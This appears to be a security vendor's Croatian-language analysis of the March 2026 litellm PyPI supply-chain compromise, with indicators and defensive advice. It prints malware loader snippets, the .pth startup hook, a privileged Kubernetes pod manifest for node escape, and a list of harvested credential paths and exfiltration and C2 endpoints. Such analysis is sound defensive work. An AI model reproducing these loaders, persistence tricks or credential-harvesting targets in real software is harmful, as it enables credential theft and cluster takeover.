Napad na lanac opskrbe LiteLLM

Napad na lanac opskrbe LiteLLM: Kako je TeamPCP provalio u infrastrukturu umjetne inteligencije

Zašto ovo stvarima

24. ožujka 2026. godine, popularni Python paket litellm, univerzalni LLM proxy pristupnik koji koriste tisuće enterpriseza usmjeravanje prometa između aplikacija i pružatelja umjetne inteligencije poput OpenAI-a, Anthropica, Googlea i AWS Bedrocka, tiho je kompromitiran na PyPI-ju. Dvije zaražene verzije (1.82.7 i 1.82.8) objavljene su u razmaku od 13 minuta, noseći višefazni korisni teret koji je krao vjerodajnice, izvlačio tajne iz oblaka, širio se lateralno preko Kubernetes klastera i instalirao trajna stražnja vrata s mogućnostima udaljenog izvršavanja koda.

S približno 3.6 milijuna dnevnih preuzimanja i dubokom implementacijom u cloud-native AI infrastrukturi, litellm se nalazi na raskrižju svega što moderni napadači žele: API ključeva za svakog glavnog pružatelja AI usluga, cloud IAM vjerodajnica, Kubernetes tajni i SSH ključeva.

Ali kompromis Litellm nije bio izolirani događaj. Bio je to vrhunac petodnevna kampanja koja obuhvaća pet ekosustava od strane prijetećeg aktera poznatog kao TeamPCP, kampanja koja je prvo zatrovala sigurnosne skenere (Aqua Trivy, Checkmarx KICS), a zatim koristila ukradene CI/CD vjerodajnice za kaskadno slanje nizvodno u npm, OpenVSX i konačno PyPI. Napadači su oružjem pretvorili upravo alate na koje se organizacije oslanjaju kako bi zaštitile svoje lance opskrbe.

Ovaj napad predstavlja značajnu promjenu u sofisticiranosti prijetnji lancu opskrbe. Dizajn s više skokova i preko ekosustava ugrožava sigurnosne alate kako bi se postigla visoka vrijednost. Infrastruktura umjetne inteligencije, odražava razinu planiranja i operativne zrelosti u skladu sa sve komodificiranijim alatima za napade. Korisni sadržaji su iterirani u stvarnom vremenu (tri varijante korisnog sadržaja pojavljuju se u izvornom kodu, uključujući ranije verzije s komentarima), C2 infrastruktura je registrirana dan prije napada, a domene za eksfiltraciju pažljivo su odabrane kako bi oponašale infrastrukturu legitimnih dobavljača. Sustavno sveobuhvatni alat za prikupljanje vjerodajnica, koji pokriva više od 15 kategorija, uključujući nišne ciljeve poput Cardano ključeva za potpisivanje i WireGuard konfiguracija, sugerira stupanj temeljitosti koji ukazuje na razvoj zlonamjernog softvera potpomognutog umjetnom inteligencijom kao multiplikator sile.

Timeline

Datum (UTC) događaj
ožujak 19 TeamPCP kompromituje Aqua Trivy GitHub Action oznake, zamjenjujući ih zlonamjernim kodom koji se infiltrira CI/CD tajne iz nizvodnih repozitorija
ožujak 21 Kompromis se proteže na Checkmarx KICS i AST GitHub akcije koristeći slične tehnike.
22. ožujka, 06:35 BerriAI objavljuje litellm 1.82.6 (posljednju čistu verziju) putem normalnog CI/CD pipeline koji koristi Trivy za sigurnosno skeniranje
ožujak 23 TeamPCP registrira models.litellm.cloud (domena za eksfiltraciju). Kompromitira više od 66 npm paketa i OpenVSX ekstenzija.
24. ožujka, 10:39 litellm 1.82.7 objavljen na PyPI -- korisni teret ubrizgan u proxy_server.py u opsegu modula. Izvršava se pri uvozu
24. ožujka, 10:52 litellm 1.82.8 objavljen 13 minuta kasnije -- dodaje litellm_init.pth, hook za konfiguraciju putanje u Pythonu koji se izvršava pri svakom pokretanju Python interpretera, ne samo pri uvozu litellm-a. Prikazuje brzu iteraciju korisnog tereta
24. ožujka, ~16:00 PyPI uklanja obje verzije nakon prijava zajednice. Verzije se u potpunosti brišu (ne uklanjaju) iz indeksa, iako CDN tarballovi ostaju dostupni.

Prozor ekspozicije: približno 5.5 sati. Tijekom ovog vremena, bilo koji pip install litellm, pip install --upgrade litellmili CI/CD pipeline izvlačenje najnovije verzije bi izvršilo korisni teret.

Kako je zlonamjerni softver ušao: Kaskadni kompromis

Litellm paket nije bio izravno provaljen. Napadač je do njega došao putem napad na lanac opskrbe s dva skoka:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM CI/CD pipeline koristio je Trivy kao sigurnosni skener - sam alat dizajniran za otkrivanje ranjivosti bio je vektor napada. Jer pipeline referencirano na Trivy pomoću promjenjive oznake, a ne prikvačene oznake commit SHA, kompromitovana akcija se pokrenula automatski. Zlonamjerna Trivy akcija je otkrila tajne okruženja, uključujući PYPI_PUBLISH token, dajući TeamPCP-u izravan pristup objavljivanju projekta litellm PyPI.

Ova strategija „ugrožavanja čuvara“ obilježje je kampanje TeamPCP. Ciljajući prvo sigurnosne alate (Trivy, Checkmarx KICS), napadači su istovremeno onemogućili detekciju i dobili privilegirani pristup nizvodnim lancima opskrbe.

Tehnička analiza: Korisni teret

Točke ubrizgavanja

Verzija 1.82.7 — Izvršavanje na razini modula u litellm/proxy/proxy_server.py (redak 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Ovaj kod se nalazi u opsegu modula između literala rječnika i originala showwarning() funkcija. Izvršava se odmah kada litellm.proxy.proxy_server se uvozi — što se događa pri bilo kojoj upotrebi litellmove proxy funkcionalnosti.

Verzija 1.82.8 — Dodano litellm_init.pth (Datoteka za konfiguraciju putanje u Pythonu):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Piton .pth datoteke u site-packages/ obrađuju se pri svakom pokretanju interpretera, ali samo redovi koji počinju s import izvršavaju se kao kod. Napadač to iskorištava tako što cijeli korisni teret veže na jedan import izjava: import os, subprocess, sys; subprocess.Popen(...)Ovo je puno agresivnije od injekcije proxy_server.py — aktivira se čak i ako litellm nikada nije uvezen, pri svakom pokretanju Python procesa. pyproject.toml je izmijenjen kako bi se ova datoteka uključila u distribuciju:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Verzija 1.82.8 stoga ima dva neovisna puta izvršenja: injekcija proxy_server.py (pokreće se pri uvozu litellm proxyja) i .pth datoteka (pokreće se pri bilo kojem pokretanju Pythona). Redundancija je sama po sebi značajna - štiti od otkrivanja ili uklanjanja bilo koje putanje pojedinačno. Eskalacija od vremena uvoza do izvršavanja pri pokretanju samo 13 minuta nakon verzije 1.82.7 sugerira da je napadač pratio uspjeh implementacije i brzo ponavljao.

Faza 1: Sveobuhvatno prikupljanje vjerodajnica

Dekodirani unutarnji scenarij je pedantan vakuum vjerodajnica. Koristi os.walk()glob.glob()subprocess.check_output(), i izravno čitanje datoteka za pregled cijelog sustava:

Kategorija Mete
Izviđanje sustava hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; ključevi hosta od /etc/ssh/
Oblak (AWS) ~/.aws/credentials, ~/.aws/config; IMDS vjerodajnice za ulogu putem 169.254.169.254Upravitelj tajni ListSecretsSSM DescribeParameters
Oblak (GCP) ~/.config/gcloud/ (rekurzivno); $GOOGLE_APPLICATION_CREDENTIALS
Oblak (Azure) ~/.azure/ (rekurzivno); varijable okruženja
Kubernetes Tokeni servisnog računa; ca.crtimenski prostor; kubectl get secrets --all-namespacessve tajne putem K8s API-ja
Datoteke okruženja .env, .env.local, .env.production, .env.development, .env.staging — rekurzivno pretraživano (dubina 6) po cijelom /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Lučki radnik ~/.docker/config.json, /kaniko/.docker/config.json
Tokeni paketa ~/.npmrc, ~/.vault-token, ~/.netrc
Baze podataka ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB konfiguracije
TLS / SSL Privatni ključevi od /etc/ssl/private/, Šifrirajmo certifikate, sve .pem/.key/.p12/.pfx slika
ići ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Kripto novčanike Bitcoin, Ethereum spremište ključeva, Solana parovi ključeva (validator, vote, stake, faucet), Cardano ključevi za potpisivanje, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Povijest ljuske .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Autorizacija sustava /etc/passwd, /etc/shadow, zapisnici autorizacije (prihvaćene SSH sesije)
Ključevi webhooka/API-ja Grep za Slack webhooks, Discord webhooks, API ključevi/tajne u konfiguracijskim datotekama
VPN WireGuard konfiguracije od /etc/wireguard/

Opseg ovog sakupljača podataka je enciklopedijski. Cilja ne samo cloud vjerodajnice, već i kriptovalutne novčanike, lozinke baza podataka, VPN konfiguracije i CI/CD tajne — što sugerira da napadač namjerava unovčiti kompromitirane sustave na više načina.

Faza 2: Šifrirana eksfiltracija

Ukradeni podaci se šifriraju i eksfiltriraju pomoću hibridne sheme šifriranja:

  • AES-256-CBC šifriranje svih prikupljenih podataka slučajnim 32-bajtnim ključem sesije (putem openssl enc)
  • RSA-4096 šifriranje ključa sesije pomoću ugrađenog javnog ključa napadača (OAEP padding, putem openssl pkeyutl)
  • Obje šifrirane datoteke u paketu kao tpcp.tar.gz ( tpcp prefiks — „TeamPCP“ — pojavljuje se dosljedno tijekom cijele kampanje)
  • HTTPS POST za https://models.litellm.cloud/ sa Content-Type: application/octet-stream

Domena models.litellm.cloud registriran je 23. ožujka - dan prije napada - i dizajniran je za spajanje s legitimnom infrastrukturom Litellm (pravi projekt koristi litellm.ai). Čak i branitelj koji je svjestan mreže i pregledava izlazni promet možda neće označiti promet prema onome što se čini kao krajnja točka modela Litellm-a.

Faza 3: Trajni stražnji ulaz (sysmon.py)

Korisni teret instalira backdoor za anketiranje prikriven kao telemetrija sustava:

  • Put~/.config/sysmon/sysmon.py
  • Servissysmon.service (korisnička jedinica systemd, opisana kao „Usluga sistemske telemetrije“)
  • PonašanjeNakon početnih 300 sekundi sna, ankete https://checkmarx.zone/raw svakih ~50 minuta
  • IzvršenjePreuzima URL koji je vratio C2 na /tmp/pglog, postavlja ga u izvršnu datoteku (chmod 755), pokreće ga u odvojenoj sesiji
  • Praćenje stanja/tmp/.pg_state sprječava ponovno preuzimanje istog korisnog tereta
  • UpornostRestart=alwaysRestartSec=10 — preživi padove i ponovna pokretanja

Domena checkmarx.zone je tipografska greška tvrtke Checkmarx (zaštitarska tvrtka u checkmarx.com), osmišljen tako da SOC analitičari koji pregledavaju mrežne zapisnike vide promet prema onome što se čini legitimnim dobavljačem sigurnosnih usluga. Ovo je namjerna tehnika izbjegavanja u skladu sa širom strategijom TeamPCP-a skrivanja iza brendiranja dobavljača sigurnosnih usluga.

Faza 3b: Kubernetesovo lateralno kretanje

Ako kompromitirani sustav ima vjerodajnice Kubernetes servisnog računa, zlonamjerni softver nabraja sve čvorove klastera i implementira ih. privilegirani podovi svakome od njih:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Svaki pod:

  • Radi kao privilegovan sa hostPIDhostNetworki potpuni pristup datotečnom sustavu hosta
  • Koristi chroot /host instalirati isto sysmon.py stražnja vrata na korijenskom datotečnom sustavu hosta
  • Registrira ga kao systemd uslugu, osiguravajući da perzistentnost preživi brisanje pod-a
  • Ime je dobio node-setup-* u kube-system prostor imena da se pojavi kao legitimna infrastruktura klastera

To znači jedan kompromitiran CI/CD trkač s K8s pristupom mogao bi rezultirati skrivenim pristupom svakom čvoru u klasteru. — katastrofalni scenarij lateralnog kretanja za organizacije koje koriste litellm kao proxy u Kubernetes-u.

Evolucija korisnog tereta (komentirane varijante)

Izvorni kod u retcima 131-132 sadrži dvije ranije varijante korisnog tereta bez komentara, otkrivajući napadačev proces razvoja:

  • Sve tri varijante dijele istu infrastrukturu za izvlačenje (models.litellm.cloud), javni ključ RSA-4096, hibridni omotač za šifriranje AES-256-CBC + RSA i tpcp.tar.gz imenovanje paketa
  • Ranije varijante dodao RC4 sloj šifriranja unutar skripte za prikupljanje podataka, šifrirajući prikupljene podatke prije vanjskog AES+RSA omotača. Aktivni korisni teret (linija 130) pojednostavljen je uklanjanjem ovog unutarnjeg RC4 sloja
  • Ranije varijante koriste exec() sa StringIO snimanje za pokretanje kolektora u procesu, dok aktivni korisni teret koristi subprocess.run() s preusmjeravanjem stdout-a — čišćim odvajanjem koje izbjegava zagađenje glavnog procesa
  • Sve tri varijante ciljaju iste kategorije vjerodajnica i putove prikupljanja
  • RC4 ključ u ranijim varijantama bio je provokativna uvreda, u skladu s glumčevim ponašanjem traženja pažnje na Telegramu.

To otkriva aktivan razvoj tijekom operacije. Napadač je pojednostavio šifrirni stog i poboljšao izolaciju izvršenja, a istovremeno je održao stabilnost ciljeva prikupljanja i infrastrukture za eksfiltraciju.

Pokazatelji kompromisa (MOK)

mreža

Pokazatelj Tip Svrha
models.litellm.cloud Domena Krajnja točka eksfiltracije (HTTPS POST)
checkmarx.zone Domena Krajnja točka ispitivanja C2 (HTTPS GET /raw)

Napomena: Veze za vanjska izvješća checkmarx.zone/static/checkmarx-util-1.0.4.tgz na raniju KICS fazu kampanje TeamPCP. Ovaj URL nije pronađen u ovdje analiziranim korisnim podacima litellm-a.

Hashevi paketa

file SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

File System

Pokazatelj Tip Svrha
~/.config/sysmon/sysmon.py file Uporni backdoor skript
~/.config/systemd/user/sysmon.service file Jedinica perzistencije Systemd
/tmp/pglog file Preuzeta binarna datoteka druge faze
/tmp/.pg_state file Praćenje stanja C2
litellm_init.pth in site-packages/ file Python startup hook (samo v1.82.8)
tpcp.tar.gz file Šifrirani paket za eksfiltraciju

Kubernetes

Pokazatelj Tip Svrha
node-setup-* mahune u kube-system Mahuna Privilegirane kapsule za bočno kretanje
sysmon.service na čvorovima klastera Servis Perzistencija na razini hosta putem pod escape-a

Kriptografski

Pokazatelj Detaljnije
Javni ključ napadača RSA-4096 SHA256 otisak prsta: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Ugrađeno u sve tri varijante korisnog tereta; isti ključ prijavljen u drugim TeamPCP operacijama
tpcp prefiks u artefaktima Konvencija imenovanja paketa (tpcp.tar.gz) dosljedno tijekom cijele kampanje

Pripisivanje: TeamPCP

Prati se prijetnja koja stoji iza ove kampanje TeamPCP, također poznat kao PCPcat, Persy_PCP, ShellForce i DeadCatx3.

Poznate karakteristike:

  • Održava Telegram kanale na @Persy_PCP i @teampcp gdje su ismijavali zaštitarske tvrtke
  • Radi na više ekosustava (GitHub Actions, PyPI, npm, OpenVSX)
  • Koristi domene s tipografskim greškama specifične za dobavljača za svaku fazu kampanje (npr. checkmarx.zone za Checkmarxa, models.litellm.cloud za litellm)
  • Konzistentni infrastrukturni markeri: isti par RSA ključeva, tpcp.tar.gz konvencija imenovanja, tpcp-docs-* GitHub repozitoriji koji se koriste kao dead-drop pripremni prostori
  • Cilja sigurnosne alate kao ulazne točke u nizvodne lance opskrbe

Pouzdanost atribucije: Visoko. Dijeljeni RSA javni ključ, tpcp Imenovanje artefakata, preklapanje C2 infrastrukture i operativni tempo tijekom petodnevne kampanje snažno povezuju kompromise Trivy, KICS, npm, OpenVSX i litellm s istim akterom.

MotivacijaVjerojatno financijski (krađa kripto novčanika, monetizacija cloud vjerodajnica) u kombinaciji s ozloglašenošću (zadirkujući Telegram). Širina prikupljanja vjerodajnica - od AWS IAM-a do parova ključeva Solana validatora do WireGuard konfiguracija - sugerira financijski motiviranog aktera koji želi maksimizirati povrat ulaganja od svakog kompromisa.

Moguća pomoć umjetne inteligencijeAlat za prikupljanje vjerodajnica sustavno je sveobuhvatan - više od 15 kategorija, uključujući nišne ciljeve poput Cardano ključeva za potpisivanje, WireGuard konfiguracija i Kaniko Docker vjerodajnica - na način koji je u skladu s nabrajanjem potpomognutim umjetnom inteligencijom. Brzina iteracije korisnog tereta (tri varijante s različitim shemama šifriranja), koordinacija među ekosustavima (5 ekosustava u 5 dana) i operativni OPSEC (domene koje se lažno predstavljaju kao dobavljači, hibridno šifriranje, perzistencija systemd-a prikrivena kao telemetrija) sugeriraju razinu propusnosti koja može odražavati razvoj potpomognut umjetnom inteligencijom kao multiplikator snage. Ova procjena je spekulativna; vješti operateri mogli bi postići sličan opseg bez alata za umjetnu inteligenciju.

Novi TTP-ovi i tehnike

1. Trovanje lanca opskrbe sigurnosnim alatom (varijanta T1195.002)

Kompromitiranje sigurnosnih skenera (Trivy, KICS) kao prvog koraka za dosezanje nizvodnih ciljeva predstavlja novu eskalaciju. Napadač nije samo kompromitirao biblioteku - kompromitirali su alate koje organizacije koriste za... otkriti kompromitirane biblioteke. To stvara slijepu točku: skener koji bi trebao uhvatiti zlonamjerni kod sam je mehanizam isporuke.

2. piton .pth Trajnost datoteke (T1546)

The litellm_init.pth Tehnika u v1.82.8 je posebno podmukla. Python .pth datoteke u site-packages/ obrađuju se pri svakom pokretanju interpretera; bilo koji redak koji počinje s import izvršava se kao kod. Lančanim povezivanjem korisnog tereta na jedan import Izjavom, napadač postiže izvršenje na svakom Python procesu - ne samo kada se litellm uveze. To znači da se korisni teret aktivira čak i ako je litellm instaliran, ali se nikada ne koristi, te da preživi sanaciju koja zamjenjuje kompromitirani .py datoteke bez provjere .pth slika.

3. Lateralno kretanje na razini cijelog Kubernetes klastera putem implementacije privilegiranog pod-a (T1610, T1611)

Automatizirano stvaranje privilegiranih podova na svakom čvoru klastera — s hostPIDhostNetwork, montiranje datotečnog sustava glavnog računala i chroot instalirati persistence — ulančava raspoređivanje kontejnera (T1610) s izlazom na host (T1611) kako bi se jedno kompromitovano opterećenje pretvorilo u potpuno kompromitirano klastersko radno opterećenje.

4. C2 infrastruktura koja se lažno predstavlja kao dobavljač

Korištenje models.litellm.cloud (imitira litellm) i checkmarx.zone (imitira Checkmarx) kao krajnje točke C2/exfila dizajnirane su kako bi se izbjeglo praćenje mreže. SOC analitičari koji pregledavaju izlazni promet vidjeli bi HTTPS veze s onim što se čini kao legitimne domene dobavljača.

5. Brza iteracija korisnog tereta tijekom leta

Objavljivanje v1.82.7 s izvršavanjem za vrijeme uvoza, a zatim v1.82.8 s izvršavanjem za vrijeme pokretanja 13 minuta kasnije, pokazuje da napadač prati i prilagođava se u stvarnom vremenu. Komentirane varijante korisnog tereta (s različitim shemama šifriranja) sačuvane u izvornom kodu potvrđuju aktivan razvoj tijekom operacije.

Što se može učiniti

Ovaj napad iskorištava povjerenje na svakom sloju: povjerenje u sigurnosne alate, povjerenje u registre paketa, povjerenje u poznate domene, povjerenje u CI/CD automatizacije. Obrana od nje zahtijeva jačanje svake od ovih granica povjerenja:

Za korisnike paketa

  • Prikvači ovisnosti prema hashu, ne samo prema verziji. pip install litellm==1.82.6 --hash=sha256:... bi spriječilo instaliranje kompromitiranih verzija čak i ako bi se nakratko pojavile kao najnovija verzija.
  • Koristite datoteke zaključavanja. pip-compilepoetry.lockuv.lock snimiti točne verzije i hashove. CI/CD treba instalirati iz lockfiles, a ne iz lebdećih specifikatora verzije.
  • Monitor za .pth slika. Redovito provjeravajte site-packages/ za neočekivano .pth datoteke — izvršavaju se pri svakom pokretanju Pythona i podcijenjeni su mehanizam perzistencije.
  • Implementirajte kontrole izlazne mreže. Izvlačenje do models.litellm.cloud i C2 anketiranje za checkmarx.zone moglo je biti uhvaćeno filtriranjem izlaza na temelju dopuštene liste u produkcijskim okruženjima.

Za održavatelje paketa

  • bor CI/CD akcije od strane commit SHA, ne oznaka. LiteLLM pipeline koristio Trivy bez prikvačene verzije. Da je referencirao aquasecurity/trivy-action@<commit-sha> umjesto @latest, kompromitirana radnja ne bi bila izvršena.
  • Koristite kratkotrajne, ograničene tokene za objavljivanje. PyPI podržava pouzdane izdavače (bazirane na OIDC-u) i API tokene s određenim opsegom. Izvučeni PYPI_PUBLISH Token nije trebao imati dugotrajan, neograničen pristup objavljivanju.
  • Omogućite dvofaktorsku autentifikaciju na PyPI-ju. Zahtijevajte 2FA za sve održavatelje i koristite hardverske sigurnosne ključeve gdje je to moguće.
  • Potpišite pakete. Sigstore/PEP 740 atesti omogućuju potrošačima da provjere je li paket izgrađen prema očekivanom CI/CD pipeline, a ne od strane napadača s ukradenim tokenom.

Za operatere platformi (PyPI, npm, GitHub)

  • Otkrivanje anomalnih obrazaca objavljivanja. Dvije nove verzije objavljene u razmaku od 13 minuta, s drugačije IP adrese ili tokena od uobičajenog, trebale bi pokrenuti zadržavanje radi pregleda ili automatsko skeniranje prije nego što paket postane instalacijski.
  • Ubrzajte usvajanje programa Pouzdani izdavači. Objavljivanje temeljeno na OIDC-u povezuje pakete s određenim repozitorijima i tijekovima rada, čineći ukradene tokene beskorisnima izvan originala. CI/CD kontekst.
  • Implementirajte skeniranje zlonamjernog softvera tijekom objavljivanja. Base64 dekodirani korisni teret u proxy_server.py bi se mogao otkriti statičkom analizom u vrijeme objave.

Za ekosustav

  • Tretirajte sigurnosne alate kao kritičnu infrastrukturu. Trivy i Checkmarx KICS koriste milijuni pipelineNjihove GitHub akcije trebaju biti potpisane, prikvačene i nadzirane s istom strogošću kao i paketi koje skeniraju.
  • Investirajte u detekciju za vrijeme izvođenja. Statička analiza sama po sebi ne može uhvatiti svaku tehniku ​​​​obfuskacije. Praćenje instalacije paketa tijekom izvođenja hooks, neočekivane mrežne veze i sumnjivi obrasci pristupa datotekama pružaju dubinsku obranu.
  • Brže dijelite obavještajne podatke o prijetnjama. Prozor izloženosti od 5.5 sati za litellm mogao je biti kraći uz bržu koordinaciju među dobavljačima. Automatizirane usluge skeniranja poput Xygeni MEW, Socket i Snyk otkrile su anomaliju - usko grlo je ljudska potvrda i vrijeme odziva registra.

Zaključak

Kampanja TeamPCP je prekretnica za software supply chain securityPrvo kompromitirajući sigurnosne skenere i koristeći ih kao odskočnu dasku za visokovrijednu AI infrastrukturu, napadači su pokazali da je lanac opskrbe jak samo onoliko koliko je jaka njegova najslabija tranzitivna ovisnost, a ta ovisnost bi mogla biti sigurnosni alat kojem vjerujete da će vas zaštititi.

Kompromis litellm-a posebno naglašava rastući rizik za AI infrastrukturu. Kako LLM proxy pristupnici postaju standard uzorak za enterprise Implementacijom umjetne inteligencije, oni koncentriraju pristup API ključevima, vjerodajnicama za oblak i osjetljivim podacima u jednoj komponenti. Kompromitiranje te komponente je kostur ključa za cijeli AI stog.

Organizacije koje su instalirale litellm 1.82.7 ili 1.82.8 tijekom razdoblja od 5.5 sati trebale bi ovo tretirati kao potpuno kompromitiranje vjerodajnica: rotirati sve tajne na pogođenim sustavima, provjeriti Kubernetes klastere za node-setup-* mahune u kube-system, uklonite bilo koje sysmon.service sistemske jedinice i provjerite litellm_init.pth u Pythonu site-packages/ direktoriji. Korisnici službene Docker slike (ghcr.io/berriai/litellm) nisu bili pogođeni, jer je slika pričvrstila svoje ovisnosti i nije obnovljena tijekom prozora ekspozicije.

O Autor:

Suosnivač i tehnički direktor

Louis Rodriguez je suosnivač i tehnički direktor tvrtke Xygeni Security. S više od 20 godina iskustva u sigurnosti aplikacija, fokusira se na AppSec zaštitu i napredne mogućnosti analize koda koje pomažu timovima da smanje stvarni rizik isporuke.

 
alati-za-analizu-sastava-softvera-sca-tools
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

s Xygeni paketom proizvoda